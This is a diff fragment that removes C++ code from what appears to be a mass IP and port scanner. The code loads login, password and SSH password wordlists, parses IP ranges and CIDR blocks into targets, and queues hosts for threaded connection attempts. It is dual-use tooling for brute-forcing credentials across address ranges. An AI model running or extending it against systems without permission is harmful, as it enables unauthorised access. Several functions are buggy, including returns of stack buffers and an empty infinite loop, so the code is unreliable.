(Threader::threadId > gThreads || !globalScanFlag) { - --Threader::threadId; - Threader::ready = false; - lk.unlock(); - return; - } - - if (!Threader::ipQueue.empty()) { - ip = Threader::ipQueue.front(); - Threader::ipQueue.pop(); - Threader::ready = false; - lk.unlock(); - - if (ip.size() == 0) return; - - ConInc(); - for (int i = 0; i <= overallPorts; ++i) - { - if (globalScanFlag == false) break; - if (Connector::_ConnectToPort(ip, portArr[i], "") == -2) break; - }; - ConDec(); - } - } -} - -void verboseProgress(long long unsigned int target, const char *ip) { - - char targetNPers[128] = {0}; - float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} -void verboseProgressDNS(long long unsigned int target, const char *ip, const char *TLD) { - - char targetNPers[128] = { 0 }; - float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0); - - stt->doEmitionIPRANGE(QString(ip) + QString(TLD)); - strcpy(currentIP, ip); - - //sprintf(targetNPers, "%Lu (%.1f%%)", target, percent); - //stt->doEmitionTargetsLeft(QString(targetNPers)); - - sprintf(metaTargets, "%Lu", target); - sprintf(metaPercent, "%.1f", - percent); -} - -void _passLoginLoader() { - MaxLogin = 0; - MaxPass = 0; - - FILE *loginList; - FILE *passList; - - char buffFG[32] = {0}; - int i = 0; - - loginList = fopen("login.txt", "r"); - passList = fopen("pass.txt", "r"); - - if(passList != NULL && loginList != NULL) - { - while(fgets(buffFG, 32, loginList) != NULL) - { - MaxLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - MaxPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(loginList); - rewind(passList); - - loginLst = new char*[MaxLogin]; - passLst = new char*[MaxPass]; - - for(int j = 0; j < MaxLogin; j++) - { - loginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxPass; j++) - { - passLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - memset(passLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(passLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, loginList) != NULL) - { - memset(loginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(loginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - - fclose(loginList); - fclose(passList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxWFLogin = 0; - MaxWFPass = 0; - - FILE *wfLoginList; - FILE *wfPassList; - - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - wfLoginList = fopen("wflogin.txt", "r"); - wfPassList = fopen("wfpass.txt", "r"); - - if(wfPassList != NULL && wfLoginList != NULL) - { - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - MaxWFLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - MaxWFPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfLoginList); - rewind(wfPassList); - - wfLoginLst = new char*[MaxWFLogin]; - wfPassLst = new char*[MaxWFPass]; - - for(int j = 0; j < MaxWFLogin; j++) - { - wfLoginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxWFPass; j++) - { - wfPassLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - memset(wfPassLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - memset(wfLoginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); - fclose(wfPassList); - fclose(wfLoginList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - sshlpList = fopen("sshpass.txt", "r"); - - if(sshlpList != NULL) - { - while(fgets(buffFG, 32, sshlpList) != NULL) - { - ++MaxSSHPass; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(sshlpList); - - sshlpLst = new char*[MaxSSHPass]; - - for(int j = 0; j < MaxSSHPass; j++) - { - sshlpLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, sshlpList) != NULL) - { - memset(sshlpLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); - - fclose(sshlpList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; -} - -void ReadUTF8(FILE* nFile, char *cp) { - char buffFG[256] = {0}; - int i = 0; - GlobalNegativeSize = 0; - - if(nFile != NULL) - { - while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && - ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) - && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) - { - ++GlobalNegativeSize; - }; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(nFile); - if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); - - GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || - (buffFG[0] == '/' && buffFG[1] == '/')) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - - if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') - { - char buffFGT[256] = {0}; - strcpy(buffFGT, buffFG); - char *ptr1 = strstr(buffFGT, "\t\t\t"); - ZeroMemory(buffFG, sizeof(buffFG)); - strcpy(buffFG, ptr1 + 3); - }; - - int bSz = strlen(buffFG); - if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - if(buffFG[bSz] == 13 || buffFG[bSz] == 10) - { - buffFG[bSz] = '\0'; - }; - if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) - { - buffFG[bSz - 1] = '\0'; - }; - if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) - { - buffFG[bSz - 2] = '\0'; - }; - - if(strstr((char*)buffFG, "\n") != 0) - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); - memset(GlobalNegatives[i] + sz - 1, '\0', 1); - ++i; - } - else - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); - memset(GlobalNegatives[i] + sz, '\0', 1); - ++i; - }; - - unsigned char buffcpy2[256] = {0}; - int sz = strlen((char*)buffFG); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); -#else - strncpy((char*)buffcpy2, buffFG, sz); -#endif - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - ZeroMemory(buffFG, sizeof(buffFG)); - fclose(nFile); - } - else - { - stt->doEmitionRedFoundData("No negative list found"); - stt->doEmitionKillSttThread(); - }; -} - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -unsigned char* ASCIItoUNICODE (unsigned char ch) -{ - unsigned char Val[2]; - if ((ch < 192)&&(ch != 168)&&(ch != 184)) {Val[0] = 0; Val[1] = ch; return Val;} - if (ch == 168) {Val[0] = 208; Val[1] = 129; return Val;} - if (ch == 184) {Val[0] = 209; Val[1] = 145; return Val;} - if (ch < 240) {Val[0] = 208; Val[1] = ch-48; return Val;} - if (ch < 249) {Val[0] = 209; Val[1] = ch-112; return Val;} -} -#endif - -std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - int wsize = MultiByteToWideChar(srcCodePage, 0, src, -1, 0, 0); - LPWSTR wbuf = (LPWSTR)new char[wsize * sizeof(WCHAR)]; - MultiByteToWideChar(srcCodePage, 0, src, -1, wbuf, wsize); - int size = WideCharToMultiByte(dstCodePage, 0, wbuf, -1, 0, 0, 0, 0); - char * buf = (char *)new char[size]; - WideCharToMultiByte(dstCodePage, 0, wbuf, -1, buf, size, 0, 0); - delete wbuf; - - res.append(buf); - delete buf; -#else - unsigned int size = 0; - while (src[size++]!=0); - char * buf = (char *)new char[size]; - unsigned char uni[16] = {0}; - - size=0; - while (src[size]!=0) - { - - }; - delete buf; -#endif - return res; -} -void _NegativeLoader() { - FILE *nFile = fopen("negatives.txt", "rb"); - - if( nFile != NULL) - { - unsigned char b[3] = {0}; - fread(b,1,2, nFile); - if( b[0] == 0xEF && b[1] == 0xBB) - { - fread(b,1,1,nFile); // 0xBF - ReadUTF8(nFile, "UTF"); - } - else - { - ReadUTF8(nFile, "1251"); - }; - } -} - -void CheckMaskBits(char *res, int index) { - char *bitsStr = strstr(res, "/"); - int bitsNum = atoi(bitsStr + 1); - int finalBit = 1; - int bitCounter = 0; - - if(bitsNum <= 32 && bitsNum > 24) //4 octet - { - bitCounter = 32 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = ipsendfl[index][2] = octet[2]; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = octet[3] + finalBit - 1; - - } - else if(bitsNum <= 24 && bitsNum > 16) //3 octet - { - bitCounter = 24 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = ipsendfl[index][1] = octet[1]; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = octet[2] + finalBit - 1; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else if(bitsNum <= 16 && bitsNum > 8) //2 octet - { - bitCounter = 16 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = ipsendfl[index][0] = octet[0]; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = octet[1] + finalBit - 1; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - - } - else if(bitsNum <= 8 && bitsNum > 0) //1 octet - { - bitCounter = 8 - bitsNum; - for(int i = 0; i < bitCounter; i++) finalBit *= 2; - ipsstartfl[index][0] = octet[0]; - ipsendfl[index][0] = octet[0] + finalBit - 1; - ipsstartfl[index][1] = octet[1]; - ipsendfl[index][1] = 255; - ipsstartfl[index][2] = octet[2]; - ipsendfl[index][2] = 255; - ipsstartfl[index][3] = octet[3]; - ipsendfl[index][3] = 255; - } - else - { - stt->doEmitionRedFoundData("[CheckMaskBits] Cannot parse IP list"); - stt->doEmitionKillSttThread(); - }; -} - -void GetOctets(char *curIP) { - char *str1; - char *str2; - char temp[8] = {0}; - - if(strstr(curIP, ".") != NULL) - { - str1 = strstr(curIP, "."); //1 - strncpy(temp, curIP, str1 - curIP); - octet[0] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(curIP, "/"); - strncpy(temp, curIP, str1 - curIP); - - octet[0] = atoi(temp); - octet[1] = 0; - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 - strncpy(temp, str1 + 1, str2 - str1); - octet[1] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1); - - octet[1] = atoi(temp); - octet[2] = 0; - octet[3] = 0; - return; - }; - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 - strncpy(temp, str2 + 1, str1 - str2); - octet[2] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str1 = strstr(str2 + 1, "/"); - strncpy(temp, str2 + 1, str1 - str2); - - octet[2] = atoi(temp); - octet[3] = 0; - return; - }; - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 - strncpy(temp, str1 + 1, str2 - str1); - octet[3] = atoi(temp); - - ZeroMemory(temp, sizeof(temp)); - } - else - { - str2 = strstr(str1 + 1, "/"); - strncpy(temp, str1 + 1, str2 - str1 - 1); - - octet[3] = atoi(temp); - return; - }; -} - -void FileLoader(char *str) { - char curIP[256] = {0}, curIPCopy[256] = {0}; - unsigned int importFileSize = 0; - - FILE *fl = fopen(str, "r"); - if(fl != NULL) - { - while(fgets((char*)curIP, sizeof(curIP), fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - ++importFileSize; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - - ipsstartfl = new unsigned char*[importFileSize + 2]; - ipsendfl = new unsigned char*[importFileSize + 2]; - starterIP = new unsigned char*[importFileSize + 2]; - ZeroMemory(ipsstartfl, importFileSize); - ZeroMemory(ipsendfl, importFileSize); - ZeroMemory(starterIP, importFileSize); - for(int i = 0; i < importFileSize; ++i) - { - ipsstartfl[i] = new unsigned char[4]; - ipsendfl[i] = new unsigned char[4]; - starterIP[i] = new unsigned char[4]; - - ZeroMemory(ipsstartfl[i], 4); - ZeroMemory(ipsendfl[i], 4); - ZeroMemory(starterIP[i], 4); - }; - - rewind(fl); - - while(fgets(curIP, 256, fl) != NULL) - { - if(curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 && - ((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false) - && (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false) - { - strcpy(curIPCopy, curIP); - char *ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0'; - ptr1 = strstr(curIP, " "); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - ptr1 = strstr(curIP, "#"); - if(ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0'; - if(strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#') - { - ZeroMemory(curIPCopy, sizeof(curIPCopy)); - ZeroMemory(curIP, sizeof(curIP)); - continue; - }; - - if(strstr(curIP, "-") != NULL) - { - bool firstPart = true; - int offset = 0; - int curNIndex = 0; - char curS; - char curN[32] = {0}; - for(int i = 0; i < strlen(curIP); ++i) - { - curS = curIP[i]; - if(curS == '.') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - ++offset; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - } - else if(curS == '-') - { - if(firstPart) - { - starterIP[flCounter][offset] = atoi(curN); - ipsstartfl[flCounter][offset] = atoi(curN); - } - else ipsendfl[flCounter][offset] = atoi(curN); - offset = 0; - firstPart = false; - curNIndex = 0; - ZeroMemory(curN, 32); - continue; - }; - curN[curNIndex++] = curS; - if(i == strlen(curIP) - 1) - { - ipsendfl[flCounter][offset] = atoi(curN); - }; - }; - - if(ipsstartfl[flCounter][0] > ipsendfl[flCounter][0] - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] > ipsendfl[flCounter][1] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] > ipsendfl[flCounter][2] - ) - || (ipsstartfl[flCounter][0] >= ipsendfl[flCounter][0] - && ipsstartfl[flCounter][1] >= ipsendfl[flCounter][1] - && ipsstartfl[flCounter][2] >= ipsendfl[flCounter][2] - && ipsstartfl[flCounter][3] > ipsendfl[flCounter][3] - ) - ) - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - - gTargets += 256*256*256*(ipsendfl[flCounter][0] - ipsstartfl[flCounter][0]); - gTargets += 256*256*(ipsendfl[flCounter][1] - ipsstartfl[flCounter][1]); - gTargets += 256*(ipsendfl[flCounter][2] - ipsstartfl[flCounter][2]); - gTargets += (ipsendfl[flCounter][3] - ipsstartfl[flCounter][3]); - ++flCounter; - } - else if(strstr(curIP, "/") != NULL) - { - int mask = 0; - char *ptr1 = strstr(curIP, "/"); - GetOctets(curIP); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - unsigned char ocRes = 0; - for(int i = 0; i < 4; ++i) - { - ocRes = octet[i]&mOctet[i]; - starterIP[flCounter][i] = ocRes; - ipsstartfl[flCounter][i] = ocRes; - if(mOctet[i] == 255) ipsendfl[flCounter][i] = octet[i]; - else ipsendfl[flCounter][i] = octet[i]|~mOctet[i]; - }; - - gTargets += pow((float)2, (32 - mask)); - ++flCounter; - } - else if(strstr(curIP, "RESTORE_IMPORT_SESSION") != NULL) - { - ///DUMMY/// - } - else - { - char tempMsg[256] = {0}; - strcpy(tempMsg, "[IP Loader]Wrong list format. Line-> ["); - strcat(tempMsg, std::to_string(flCounter).c_str()); - strcat(tempMsg, "] String-> ["); - strcat(tempMsg, curIPCopy); - strcat(tempMsg, "]"); - stt->doEmitionRedFoundData(QString(tempMsg)); - return; - }; - ZeroMemory(curIP, sizeof(curIP)); - }; - }; - gTargets -= 1; - gTargetsOverall = gTargets; - targets = gTargets; - - stt->doEmitionYellowFoundData("List loader - [OK] (" + QString::number(gTargetsOverall + 1) + " hosts)"); - fclose(fl); - } - else - { - stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list."); - }; -} - -char *GetCIDRRangeStr(char *str) { - char result[128] = {0}; - char start[32] = {0}; - char end[32] = {0}; - - int mask = 0; - char *ptr1 = strstr(str, "/"); - GetOctets(str); - - mask = atoi(ptr1 + 1); - unsigned char mOctet[4]; - mOctet[0] = 1; - mOctet[1] = 1; - mOctet[2] = 1; - mOctet[3] = 1; - - if(mask >= 24) - { - mOctet[0] = 255; - mOctet[1] = 255; - mOctet[2] = 255; - for(int i = 0; i < mask - 24 - 1; ++i) - { - mOctet[3] = mOctet[3] << 1; - mOctet[3] |= 1; - }; - mOctet[3] = mOctet[3] << 8 - (mask - 24); - } - else if(mask >= 16) - { - mOctet[0] = 255; - mOctet[1] = 255; - for(int i = 0; i < mask - 16 - 1; ++i) - { - mOctet[2] = mOctet[2] << 1; - mOctet[2] |= 1; - }; - mOctet[2] = mOctet[2] << 8 - (mask - 16); - mOctet[3] = 0; - } - else if(mask >= 8) - { - mOctet[0] = 255; - for(int i = 0; i < mask - 8 - 1; ++i) - { - mOctet[1] = mOctet[1] << 1; - mOctet[1] |= 1; - }; - mOctet[1] = mOctet[1] << 8 - (mask - 8); - mOctet[2] = 0; - mOctet[3] = 0; - } - else - { - for(int i = 0; i < mask - 1; ++i) - { - mOctet[0] = mOctet[0]<< 1; - mOctet[0] |= 1; - }; - mOctet[0] = mOctet[0] << 8 - mask; - mOctet[1] = 0; - mOctet[2] = 0; - mOctet[3] = 0; - }; - - - sprintf(start, "%d.%d.%d.%d", octet[0]&mOctet[0], - octet[1]&mOctet[1], - octet[2]&mOctet[2], - octet[3]&mOctet[3]); - - unsigned char tempRes0 = 0; - unsigned char tempRes1 = 0; - unsigned char tempRes2 = 0; - unsigned char tempRes3 = 0; - - if(mOctet[0] == 255) tempRes0 = octet[0]; - else tempRes0 = octet[0]|~mOctet[0]; - if(mOctet[1] == 255) tempRes1 = octet[1]; - else tempRes1 = octet[1]|~mOctet[1]; - if(mOctet[2] == 255) tempRes2 = octet[2]; - else tempRes2 = octet[2]|~mOctet[2]; - if(mOctet[3] == 255) tempRes3 = octet[3]; - else tempRes3 = octet[3]|~mOctet[3]; - - sprintf(end, "%d.%d.%d.%d", tempRes0, - tempRes1, - tempRes2, - tempRes3); - - sprintf(result, "%s-%s", start, end); - - return result; -} -int fInit(int InitMode, char *gR) { - strcpy(metaRange, gR); - if (InitMode == 0) - { - if(strstr(gR, "/") != NULL) - { - ++flCounter; - - char *str1; - char *str2; - char res[8] = {0}; - - GetOctets(gR); - - if(strstr(gR, ".") != NULL) - { - str1 = strstr(gR, "."); //1 byte - strncpy(res, gR, (int)((char*)str1 - gR)); - } - else strcpy(res, gR); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][0] = atoi(res); - ipsstartfl[flCounter][0] = atoi(res); - ipsendfl[flCounter][0] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //2 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][1] = atoi(res); - ipsstartfl[flCounter][1] = atoi(res); - ipsendfl[flCounter][1] = atoi(res); - }; - - ZeroMemory(res, sizeof(res)); - - if(strstr(str2 + 1, ".") != NULL) - { - str1 = strstr(str2 + 1, "."); //3 byte - strncpy(res, str2 + 1, (int)((char*)str1 - str2) - 1); - } - else strcpy(res, str2 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][2] = atoi(res); - ipsstartfl[flCounter][2] = atoi(res); - ipsendfl[flCounter][2] = atoi(res); - }; - ZeroMemory(res, sizeof(res)); - - if(strstr(str1 + 1, ".") != NULL) - { - str2 = strstr(str1 + 1, "."); //4 byte - strncpy(res, str1 + 1, (int)((char*)str2 - str1) - 1); - } - else strcpy(res, str1 + 1); - - if(strstr(res, "/") != NULL) - { - CheckMaskBits(res, flCounter); - } - else - { - starterIP[flCounter][3] = atoi(res); - ipsstartfl[flCounter][3] = atoi(res); - ipsendfl[flCounter][3] = atoi(res); - }; - - ipsstart[0] = ipsstartfl[flCounter][0]; - ipsstart[1] = ipsstartfl[flCounter][1]; - ipsstart[2] = ipsstartfl[flCounter][2]; - ipsstart[3] = ipsstartfl[flCounter][3]; - - ipsend[0] = ipsendfl[flCounter][0]; - ipsend[1] = ipsendfl[flCounter][1]; - ipsend[2] = ipsendfl[flCounter][2]; - ipsend[3] = ipsendfl[flCounter][3]; - } - else - { - int x; - char des1[64] = {0}; - - for(int i = 0; i < 3; i++) //Filling the range-starting ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x*sizeof(int)); - memset(gR, ' ', x + 1); - ipsstart[i] = atoi(des1); - ZeroMemory(des1, sizeof(des1)); - if(ipsstart[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - x = strcspn(gR, "-"); - if(strstr(gR, "-") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - memcpy(des1, gR, x); - ipsstart[3] = atoi(des1); - memset(gR, ' ', x + 1); - - if(strstr(gR, ".") == NULL) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - for(int i = 0; i < 4; i++) //Filling the range-closing ip mass. - { - x = strcspn(gR, "."); - memcpy(des1, gR, x); - memset(gR, ' ', x + 1); - ipsend[i] = atoi(des1); - - if(ipsend[i] > 255) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - }; - - }; - if((ipsstart[0] > ipsend[0]) - || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] > ipsend[1]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] > ipsend[2]) - ) || - ( - (ipsstart[0] >= ipsend[0]) && (ipsstart[1] >= ipsend[1]) && (ipsstart[2] >= ipsend[2]) && (ipsstart[3] > ipsend[3]) - ) - ) - { - stt->doEmitionRedFoundData("[Error] Incorrect range."); - stt->doEmitionKillSttThread(); - return -1; - }; - - targets = numOfIps(ipsstart, ipsend); - }; -} - -int ParseArgs(int argc, char *argv[]) { - int s = 0; - int indexPorts = 0; - - if(strstr(argv[1], "-f") != NULL) - { - gThreads = atoi(argv[3]); - threads = gThreads; - - FileLoader(argv[2]); - gMode = -1; - } - else - { - gMode = atoi(argv[1]); - - if(gMode == 0) //Mode 0 (IP scan) - { - gThreads = atoi(argv[3]); - } - else if(gMode == 1) //Mode 1 (DNS scan) - { - strcpy(gFirstDom, argv[3]); - gThreads = atoi(argv[4]); - }; - - threads = gThreads; - }; - - 